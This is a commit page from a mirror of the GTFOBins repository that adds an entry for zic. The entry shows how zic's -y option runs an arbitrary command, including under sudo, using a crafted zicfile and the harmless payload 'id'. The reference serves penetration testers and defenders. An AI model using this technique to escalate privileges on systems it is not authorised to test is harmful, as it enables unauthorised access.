mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add zic command execution
This commit is contained in:
parent
d48892a5cc
commit
9d438a06d9
16
_gtfobins/zic.md
Normal file
16
_gtfobins/zic.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
command:
|
||||||
|
- description: |
|
||||||
|
This executes system(''id' 0 'arg2''), and system(''id' 1 'arg2'').
|
||||||
|
You can also pass negative numbers, so the resulting command would look like system(''id' -1 'arg2'').
|
||||||
|
- code: |
|
||||||
|
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
|
||||||
|
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
|
||||||
|
zic -d . -y "id" ./zicfile
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile
|
||||||
|
echo "Zone Test 2:00 Jordan CE%sT" >> zicfile
|
||||||
|
zic -d . -y "id" ./zicfile
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user